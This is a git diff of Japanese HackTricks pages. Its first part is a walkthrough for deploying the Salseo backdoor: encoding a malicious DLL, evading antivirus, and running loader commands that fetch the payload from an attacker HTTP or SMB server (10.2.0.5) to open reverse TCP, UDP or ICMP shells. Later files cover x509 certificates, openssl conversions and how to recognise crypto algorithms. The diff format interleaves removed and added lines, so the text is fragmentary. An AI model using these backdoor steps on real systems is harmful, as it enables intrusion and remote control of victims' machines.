+まず、**EvilSalsa.dll** をエンコードする必要があります。これを行うには、pythonスクリプト **encrypterassembly.py** を使用するか、プロジェクト **EncrypterAssembly** をコンパイルできます: ### **Python** - ``` python EncrypterAssembly/encrypterassembly.py python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt ``` - ### Windows ### ウィンドウズ - ``` EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` +Ok, 今、Salseoのすべてを実行するために必要なものが揃いました: **エンコードされたEvilDalsa.dll** と **SalseoLoaderのバイナリ**。 -## **バックドアの実行** +**SalseoLoader.exeバイナリをマシンにアップロードしてください。どのAVにも検出されないようにしてください...** -### **TCPリバースシェルの取得(HTTPを介してエンコードされたdllをダウンロードする)** +## **バックドアを実行する** -リバースシェルリスナーとHTTPサーバーを起動して、エンコードされたEvilDalsa.dllを提供することを忘れないでください。 +### **TCPリバースシェルを取得する(HTTPを介してエンコードされたdllをダウンロードする)** +リバースシェルリスナーとHTTPサーバーを起動して、エンコードされたevilsalsaを提供することを忘れないでください。 ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` - ### **UDPリバースシェルを取得する(SMBを介してエンコードされたdllをダウンロードする)** リバースシェルリスナーとしてncを起動し、エンコードされたevilsalsaを提供するためのSMBサーバー(impacket-smbserver)を起動することを忘れないでください。 - ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` - ### **ICMPリバースシェルを取得する(エンコードされたdllはすでに被害者の中にある)** -**今回は、リバースシェルを受け取るためにクライアントに特別なツールが必要です。ダウンロード:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) +**今回は、リバースシェルを受信するためにクライアントに特別なツールが必要です。ダウンロード:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) #### **ICMP応答を無効にする:** - ``` sysctl -w net.ipv4.icmp_echo_ignore_all=1 #You finish, you can enable it again running: sysctl -w net.ipv4.icmp_echo_ignore_all=0 ``` - #### クライアントを実行する: - ``` python icmpsh_m.py "" "" ``` - -#### 被害者の内部で、salseoの操作を実行します: - +#### 被害者の内部で、salseoの実行を許可します: ``` SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ``` - -## DLLエクスポートメイン関数としてSalseoLoaderをコンパイルする +## DLLのエクスポートメイン関数としてSalseoLoaderをコンパイルする Visual Studioを使用してSalseoLoaderプロジェクトを開きます。 ### メイン関数の前に追加: \[DllExport] -![](https://github.com/carlospolop/hacktricks/blob/jp/.gitbook/assets/image%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\).png) +![](<../.gitbook/assets/image (409).png>) ### このプロジェクトにDllExportをインストール -#### **ツール** --> **NuGetパッケージマネージャ** --> **ソリューションのNuGetパッケージを管理...** +#### **ツール** --> **NuGet パッケージ マネージャー** --> **ソリューションの NuGet パッケージを管理...** -![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../.gitbook/assets/image (881).png>) -#### **DllExportパッケージを検索(ブラウズタブを使用)し、インストールを押して(ポップアップを受け入れて)** +#### **DllExport パッケージを検索 (Browse タブを使用) し、インストールを押して (ポップアップを受け入れる)** -![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../.gitbook/assets/image (100).png>) -プロジェクトフォルダに**DllExport.bat**と**DllExport\_Configure.bat**というファイルが表示されます +プロジェクトフォルダに **DllExport.bat** と **DllExport\_Configure.bat** というファイルが表示されます -### DllExportをアンインストール +### **DllExport をアンインストール** -**アンインストール**を押します(はい、奇妙ですが、信じてください、必要です) +**アンインストール** を押します (はい、奇妙ですが、信じてください、必要です) -![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>) +![](<../.gitbook/assets/image (97).png>) -### Visual Studioを終了し、DllExport\_configureを実行 +### **Visual Studio を終了して DllExport\_configure を実行** -Visual Studioを**終了**します +単に Visual Studio を **終了** します -その後、**SalseoLoaderフォルダ**に移動し、**DllExport\_Configure.bat**を実行します +その後、**SalseoLoader フォルダ**に移動して **DllExport\_Configure.bat** を実行します -**x64**を選択します(x64ボックス内で使用する場合、私の場合はそうでした)、**System.Runtime.InteropServices**(**DllExportのNamespace**内)を選択し、**Apply**を押します +**x64** を選択します (x64 ボックス内で使用する場合、私の場合はそうでした)、**System.Runtime.InteropServices** (DllExport の **Namespace** 内) を選択して **Apply** を押します -![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>) +![](<../.gitbook/assets/image (882).png>) -### プロジェクトを再度Visual Studioで開く +### プロジェクトを再度 Visual Studio で開く -\*\*\[DllExport]\*\*はもはやエラーとしてマークされていません +**\[DllExport]** はもはやエラーとしてマークされていません -![](<../.gitbook/assets/image (8) (1).png>) +![](<../.gitbook/assets/image (670).png>) ### ソリューションをビルド -**Output Type = Class Library**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> アプリケーション --> Output type = Class Library) +**Output Type = Class Library** を選択します (プロジェクト --> SalseoLoader プロパティ --> アプリケーション --> Output type = Class Library) -![](<../.gitbook/assets/image (10) (1).png>) +![](<../.gitbook/assets/image (847).png>) -**x64プラットフォーム**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> ビルド --> Platform target = x64) +**x64 プラットフォーム** を選択します (プロジェクト --> SalseoLoader プロパティ --> ビルド --> Platform target = x64) -![](<../.gitbook/assets/image (9) (1) (1).png>) +![](<../.gitbook/assets/image (285).png>) -ソリューションを**ビルド**するには: Build --> Build Solution(出力コンソール内に新しいDLLのパスが表示されます) +ソリューションを **ビルド** するには: Build --> Build Solution (Output コンソール内に新しい DLL のパスが表示されます) -### 生成されたDllをテスト +### 生成された DLL をテスト -生成されたDllをテストしたい場所にコピーして貼り付けます。 +DLL をテストしたい場所にコピーして貼り付けます。 実行: - ``` rundll32.exe SalseoLoader.dll,main ``` - -もしエラーが表示されない場合、おそらく機能するDLLを持っています!! +エラーが表示されない場合は、おそらく機能するDLLを持っています!! ## DLLを使用してシェルを取得する -**HTTPサーバー**を使用して**ncリスナー**を設定することを忘れないでください +**HTTP** **サーバー**を使用して、**nc** **リスナー**を設定することを忘れないでください ### Powershell - ``` $env:pass="password" $env:payload="http://10.2.0.5/evilsalsax64.dll.txt" @@ -173,11 +160,9 @@ $env:lport="1337" $env:shell="reversetcp" rundll32.exe SalseoLoader.dll,main ``` - ### CMD ### CMD - ``` set pass=password set payload=http://10.2.0.5/evilsalsax64.dll.txt @@ -186,17 +171,16 @@ set lport=1337 set shell=reversetcp rundll32.exe SalseoLoader.dll,main ``` -
-htARTE(HackTricks AWS Red Team Expert) を使用して、ゼロからヒーローまでAWSハッキングを学ぶ +AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricks をサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f)または [**telegram グループ**](https://t.me/peass) に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見してください +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
diff --git a/crypto-and-stego/certificates.md b/crypto-and-stego/certificates.md index ac2edbdc1..ea757520b 100644 --- a/crypto-and-stego/certificates.md +++ b/crypto-and-stego/certificates.md @@ -2,23 +2,23 @@
-htARTE(HackTricks AWS Red Team Expert)を使って、**ゼロからヒーローまでAWSハッキングを学びましょう**! +htARTE(HackTricks AWS Red Team Expert) を使って、ゼロからヒーローまでAWSハッキングを学ぶ -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする -- ハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する +* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で **@hacktricks\_live**をフォローする +* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
-
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスしてください: +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -26,33 +26,33 @@ HackTricksをサポートする他の方法: **公開鍵証明書**は、暗号化で使用されるデジタルIDであり、誰かが公開鍵を所有していることを証明するために使用されます。これには、鍵の詳細、所有者の身元(サブジェクト)、および信頼された機関(発行者)からのデジタル署名が含まれます。ソフトウェアが発行者を信頼し、署名が有効であれば、鍵の所有者との安全な通信が可能です。 -証明書は、主に[証明書機関](https://en.wikipedia.org/wiki/Certificate\_authority)(CAs)によって[公開鍵インフラストラクチャ](https://en.wikipedia.org/wiki/Public-key\_infrastructure)(PKI)のセットアップで発行されます。別の方法は、[信頼のウェブ](https://en.wikipedia.org/wiki/Web\_of\_trust)であり、ユーザーが直接お互いの鍵を検証します。証明書の一般的な形式は[X.509](https://en.wikipedia.org/wiki/X.509)であり、RFC 5280で詳細に説明されている特定のニーズに適応できます。 +証明書は、主に[証明機関](https://en.wikipedia.org/wiki/Certificate_authority)(CAs)によって[公開鍵インフラストラクチャ](https://en.wikipedia.org/wiki/Public-key_infrastructure)(PKI)のセットアップで発行されます。別の方法は、ユーザーが直接お互いの鍵を検証する[信頼のネットワーク](https://en.wikipedia.org/wiki/Web_of_trust)です。証明書の一般的な形式は[X.509](https://en.wikipedia.org/wiki/X.509)であり、RFC 5280で概説されている特定のニーズに適応できます。 ## x509共通フィールド ### **x509証明書の共通フィールド** -x509証明書では、いくつかの**フィールド**が証明書の有効性とセキュリティを確保するために重要な役割を果たします。これらのフィールドの詳細は次のとおりです: +x509証明書では、いくつかの**フィールド**が証明書の有効性とセキュリティを確保するために重要な役割を果たします。これらのフィールドの詳細は以下の通りです: -- **バージョン番号**はx509形式のバージョンを示します。 -- **シリアル番号**は、主に取り消し追跡のために証明書機関(CA)システム内で証明書を一意に識別します。 -- **サブジェクト**フィールドは、証明書の所有者を表し、機械、個人、または組織である可能性があります。以下の詳細な識別情報が含まれます: - - **Common Name (CN)**: 証明書でカバーされるドメイン。 - - **Country (C)**、**Locality (L)**、**State or Province (ST, S, or P)**、**Organization (O)**、および**Organizational Unit (OU)**は地理的および組織的な詳細を提供します。 - - **Distinguished Name (DN)**は完全なサブジェクト識別をカプセル化します。 -- **発行者**は、CAのためのサブジェクトと同様のサブフィールドを含め、誰が証明書を検証して署名したかを示します。 -- **有効期間**は、**Not Before**および**Not After**のタイムスタンプによってマークされ、証明書が特定の日付前または後に使用されないようにします。 -- 証明書のセキュリティに重要な**公開鍵**セクションは、公開鍵のアルゴリズム、サイズ、およびその他の技術的詳細を指定します。 -- **x509v3拡張**は、証明書の機能性を向上させ、**Key Usage**、**Extended Key Usage**、**Subject Alternative Name**などのプロパティを指定して証明書のアプリケーションを微調整します。 +* **バージョン番号**はx509形式のバージョンを示します。 +* **シリアル番号**は、証明書を一意に識別し、主に取り消し追跡のために証明機関(CA)のシステム内で使用されます。 +* **サブジェクト**フィールドは、証明書の所有者を表し、機械、個人、または組織である可能性があります。以下の詳細な識別情報が含まれます: + * **Common Name (CN)**: 証明書でカバーされるドメイン。 + * **Country (C)**、**Locality (L)**、**State or Province (ST, S, or P)**、**Organization (O)**、および**Organizational Unit (OU)**は地理的および組織的な詳細を提供します。 + * **Distinguished Name (DN)**は、完全なサブジェクト識別をカプセル化します。 +* **発行者**は、証明書を検証し署名した人物を詳細に示し、CAの場合と同様のサブフィールドが含まれます。 +* **有効期間**は、**Not Before**および**Not After**のタイムスタンプによって示され、証明書が特定の日付前または後に使用されないようにします。 +* 証明書のセキュリティに重要な**公開鍵**セクションは、公開鍵のアルゴリズム、サイズ、およびその他の技術的な詳細を指定します。 +* **x509v3拡張**は、証明書の機能性を向上させ、**Key Usage**、**Extended Key Usage**、**Subject Alternative Name**、および証明書のアプリケーションを微調整するためのその他のプロパティを指定します。 #### **Key Usageと拡張** -- **Key Usage**は、公開鍵の暗号化アプリケーションを識別します(デジタル署名や鍵の暗号化など)。 -- **Extended Key Usage**は、証明書の使用ケースをさらに絞り込みます(例:TLSサーバー認証用)。 -- **Subject Alternative Name**および**Basic Constraint**は、証明書でカバーされる追加のホスト名を定義し、それがCA証明書かエンドエンティティ証明書かを示します。 -- **Subject Key Identifier**および**Authority Key Identifier**などの識別子は、鍵の一意性と追跡可能性を確保します。 -- **Authority Information Access**および**CRL Distribution Points**は、発行CAを検証し、証明書の取り消し状態を確認するためのパスを提供します。 -- **CT Precertificate SCTs**は、証明書への公共の信頼に不可欠な透明性ログを提供します。 +* **Key Usage**は、公開鍵の暗号化アプリケーションを識別します(デジタル署名または鍵の暗号化など)。 +* **Extended Key Usage**は、証明書の使用用途をさらに絞り込みます(例: TLSサーバー認証用)。 +* **Subject Alternative Name**および**Basic Constraint**は、証明書でカバーされる追加のホスト名を定義し、それがCA証明書かエンドエンティティ証明書かを示します。 +* **Subject Key Identifier**および**Authority Key Identifier**などの識別子は、鍵の一意性と追跡可能性を確保します。 +* **Authority Information Access**および**CRL Distribution Points**は、発行CAの検証パスを提供し、証明書の取り消し状態を確認します。 +* **CT Precertificate SCTs**は、証明書への公衆の信頼に不可欠な透明性ログを提供します。 ```python # Example of accessing and using x509 certificate fields programmatically: from cryptography import x509 @@ -76,7 +76,7 @@ print(f"Public Key: {public_key}") ``` ### **OCSPとCRL配布ポイントの違い** -**OCSP**(**RFC 2560**)は、デジタル公開鍵証明書が取り消されたかどうかを確認するために、クライアントとレスポンダーが協力して作業する方法であり、完全な**CRL**をダウンロードする必要がない。この方法は、取り消された証明書のシリアル番号のリストを提供しますが、潜在的に大きなファイルをダウンロードする必要がある従来の**CRL**よりも効率的です。CRLには最大512エントリを含めることができます。詳細は[こちら](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)で入手できます。 +**OCSP**(**RFC 2560**)は、デジタル公開鍵証明書が取り消されたかどうかをチェックするために、クライアントとレスポンダーが協力して作業することを含みます。これにより、完全な**CRL**をダウンロードする必要がなくなります。この方法は、伝統的な**CRL**よりも効率的であり、取り消された証明書のシリアル番号のリストを提供しますが、潜在的に大きなファイルをダウンロードする必要があります。CRLには最大512エントリを含めることができます。詳細は[こちら](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)で入手できます。 ### **証明書透明性とは** @@ -88,7 +88,7 @@ print(f"Public Key: {public_key}") #### **証明書ログ** -証明書ログは、ネットワークサービスによって維持される証明書の公開監査可能な追加専用レコードであり、監査目的のための暗号的証拠を提供します。発行機関と一般の両方がこれらのログに証明書を提出したり、検証のためにクエリを送信したりできます。ログサーバーの正確な数は固定されていませんが、グローバルで1000未満であると予想されています。これらのサーバーは、CA、ISP、または関心を持つ任意のエンティティによって独立して管理される可能性があります。 +証明書ログは、ネットワークサービスによって維持される証明書の公開監査可能な追加専用レコードです。これらのログは監査目的のための暗号的証拠を提供します。発行権限と一般の両者は、これらのログに証明書を提出したり、検証のためにクエリを送信したりすることができます。ログサーバーの正確な数は固定されていませんが、グローバルで1000未満であると予想されています。これらのサーバーは、CA、ISP、または関心を持つ任意のエンティティによって独立して管理される可能性があります。 #### **クエリ** @@ -99,7 +99,7 @@ print(f"Public Key: {public_key}") ### **PEMフォーマット** * 証明書に最も広く使用されているフォーマット。 -* 証明書と秘密鍵用の別々のファイルが必要で、Base64 ASCIIでエンコードされています。 +* 証明書と秘密鍵用に別々のファイルが必要で、Base64 ASCIIでエンコードされています。 * 一般的な拡張子:.cer、.crt、.pem、.key。 * 主にApacheおよび類似のサーバーで使用されます。 @@ -118,7 +118,7 @@ print(f"Public Key: {public_key}") ### **PFX/P12/PKCS#12フォーマット** -* サーバー証明書、中間証明書、および秘密鍵を1つのファイルにカプセル化するバイナリフォーマット。 +* サーバー証明書、中間証明書、および秘密鍵を1つのファイルにカプセル化するバイナリフォーマットです。 * 拡張子:.pfx、.p12。 * 証明書のインポートおよびエクスポートにWindowsで主に使用されます。 @@ -138,7 +138,7 @@ openssl x509 -outform der -in certificatename.pem -out certificatename.der ```bash openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` -* **PEMからP7Bへ** +* **PEMをP7Bに変換する** ```bash openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` @@ -152,8 +152,8 @@ openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` -* **PFXをPKCS#8に変換する**には、2つのステップが必要です: -1. PFXをPEMに変換します +* **PFX to PKCS#8** には2つのステップが必要です: +1. PFX を PEM に変換します。 ```bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` @@ -161,8 +161,8 @@ openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ```bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` -* **P7BをPFXに** 変換するには、2つのコマンドが必要です: -1. P7BをCERに変換します。 +* **P7BをPFXに** 変換するには、2つのコマンドが必要です: +1. P7BをCERに変換します ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` @@ -172,7 +172,7 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif ``` *** -
+
\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ @@ -182,7 +182,7 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
-htARTE (HackTricks AWS Red Team Expert)で**ゼロからヒーローまでAWSハッキングを学ぶ** +**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! HackTricksをサポートする他の方法: @@ -190,6 +190,6 @@ HackTricksをサポートする他の方法: * [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/crypto-and-stego/cryptographic-algorithms/README.md b/crypto-and-stego/cryptographic-algorithms/README.md index 032376779..f631223fa 100644 --- a/crypto-and-stego/cryptographic-algorithms/README.md +++ b/crypto-and-stego/cryptographic-algorithms/README.md @@ -8,25 +8,25 @@ HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。 -* **ハッキングテクニックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォロー**する +* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください ## アルゴリズムの特定 -コードが**シフト右と左、XOR、およびいくつかの算術演算**を使用している場合、それが**暗号化アルゴリズム**の実装である可能性が非常に高いです。ここでは、**各ステップを逆にする必要なしに使用されているアルゴリズムを特定する方法**をいくつか紹介します。 +コードで **シフト右シフト、左シフト、XOR、およびいくつかの算術演算** を使用している場合、それが **暗号化アルゴリズム** の実装である可能性が非常に高いです。ここでは、**各ステップを逆にする必要なしに使用されているアルゴリズムを特定する方法** をいくつか紹介します。 ### API 関数 **CryptDeriveKey** -この関数が使用されている場合、第2パラメータの値をチェックして、使用されている**アルゴリズムを特定**できます: +この関数が使用されている場合、第2パラメータの値をチェックすることで、使用されている **アルゴリズムを特定** できます: -![](<../../.gitbook/assets/image (375) (1) (1) (1) (1).png>) +![](<../../.gitbook/assets/image (156).png>) 可能なアルゴリズムとそれに割り当てられた値の表はこちらを参照: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) @@ -36,13 +36,13 @@ HackTricks をサポートする他の方法: **CryptAcquireContext** -[ドキュメント](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta)によると、**CryptAcquireContext** 関数は、特定の暗号化サービスプロバイダ(CSP)内の特定のキーコンテナへのハンドルを取得するために使用されます。**この返されたハンドルは、選択したCSPを使用する CryptoAPI 関数の呼び出しで使用されます**。 +[ドキュメント](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta) によると、**CryptAcquireContext** 関数は、特定の暗号サービスプロバイダ(CSP)内の特定のキーコンテナへのハンドルを取得するために使用されます。**この返されたハンドルは、選択したCSPを使用する CryptoAPI 関数の呼び出しで使用されます**。 **CryptCreateHash** -データストリームのハッシングを開始します。この関数が使用されている場合、第2パラメータの値をチェックして、使用されている**アルゴリズムを特定**できます: +データストリームのハッシュ化を開始します。この関数が使用されている場合、第2パラメータの値をチェックすることで、使用されている **アルゴリズムを特定** できます: -![](<../../.gitbook/assets/image (376).png>) +![](<../../.gitbook/assets/image (549).png>) \ 可能なアルゴリズムとそれに割り当てられた値の表はこちらを参照: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) @@ -51,158 +51,145 @@ HackTricks をサポートする他の方法: アルゴリズムを特定するのが非常に簡単な場合があります。それは特別でユニークな値を使用する必要があるためです。 -![](<../../.gitbook/assets/image (370).png>) +![](<../../.gitbook/assets/image (833).png>) -最初の定数をGoogleで検索すると、次のようになります: +最初の定数を Google で検索すると、次のようになります: -![](<../../.gitbook/assets/image (371).png>) +![](<../../.gitbook/assets/image (529).png>) -したがって、逆コンパイルされた関数が**sha256 計算機**であると仮定できます。\ +したがって、逆コンパイルされた関数が **sha256 計算機** であると仮定できます。\ 他の定数のいずれかを検索すると(おそらく)同じ結果が得られます。 ### データ情報 -コードに有意義な定数がない場合、**.data セクションから情報を読み込んでいる**可能性があります。\ +コードに有意義な定数がない場合、**.data セクションから情報を読み込んでいる** 可能性があります。\ そのデータにアクセスし、最初の dword をグループ化して、前述のセクションで行ったように Google で検索できます: -![](<../../.gitbook/assets/image (372).png>) +![](<../../.gitbook/assets/image (531).png>) -この場合、**0xA56363C6** を検索すると、**AES アルゴリズムのテーブル**に関連していることがわかります。 +この場合、**0xA56363C6** を検索すると、**AES アルゴリズムのテーブル** に関連していることがわかります。 ## RC4 **(対称暗号)** ### 特徴 -* **初期化ステージ/**: 0x00 から 0xFF(合計 256 バイト、0x100)までの値の**テーブルを作成**します。このテーブルは一般的に**置換ボックス**(または SBox と呼ばれる)と呼ばれます。 -* **スクランブルステージ**: 以前に作成されたテーブルを**ループ**して(再び 0x100 回のループ)、各値を**半ランダム**バイトで変更します。この半ランダムバイトを作成するために、RC4 **キーが使用**されます。RC4 **キー**は**1〜256 バイトの長さ**にすることができますが、通常は 5 バイト以上であることが推奨されています。一般的に、RC4 キーは 16 バイトの長さです。 -* **XOR ステージ**: 最後に、平文または暗号文が以前に作成された値と**XOR**されます。暗号化および復号化のための関数は同じです。これにより、作成された 256 バイトを**必要な回数だけループ**します。これは通常、逆コンパイルされたコードで**%256(mod 256)**と認識されます。 +3つの主要な部分で構成されています: + +* **初期化ステージ/**: 0x00 から 0xFF(合計256バイト、0x100)までの値の **テーブルを作成** します。このテーブルは一般的に **置換ボックス**(または SBox と呼ばれる)と呼ばれます。 +* **スクランブルステージ**: 以前に作成されたテーブルをループします(0x100 回のループ、再び)し、各値を **半ランダム** バイトで変更します。この半ランダムバイトを作成するために、RC4 **キーが使用** されます。RC4 **キー** は **1 〜 256 バイトの長さ** である可能性がありますが、通常は 5 バイト以上であることが推奨されています。一般的に、RC4 キーは 16 バイトの長さです。 +* **XOR ステージ**: 最後に、平文または暗号文が **以前に作成された値と XOR** されます。暗号化および復号化の関数は同じです。これにより、作成された 256 バイトを **必要な回数だけループ** します。これは通常、逆コンパイルされたコードで **%256(mod 256)** として認識されます。 {% hint style="info" %} -**逆アセンブリ/逆コンパイルされたコードで RC4 を特定するには、2 つのサイズ 0x100 のループ(キーを使用)をチェックし、おそらく %256(mod 256)を使用して 2 つのループで作成された 256 値との入力データの XOR を行うことを確認します。** +**逆アセンブリ/逆コンパイルされたコードで RC4 を特定するには、サイズが 0x100 の 2 つのループ(キーを使用)をチェックし、次に 256 値と XOR された入力データを確認します。これらの 2 つのループで作成された値を、おそらく %256(mod 256)を使用して、入力データと XOR します。** {% endhint %} ### **初期化ステージ/置換ボックス:**(256 というカウンターの使用と、256 文字の各場所に 0 が書かれていることに注目) -![](<../../.gitbook/assets/image (377).png>) +![](<../../.gitbook/assets/image (584).png>) ### **スクランブルステージ:** -![](<../../.gitbook/assets/image (378).png>) +![](<../../.gitbook/assets/image (835).png>) ### **XOR ステージ:** 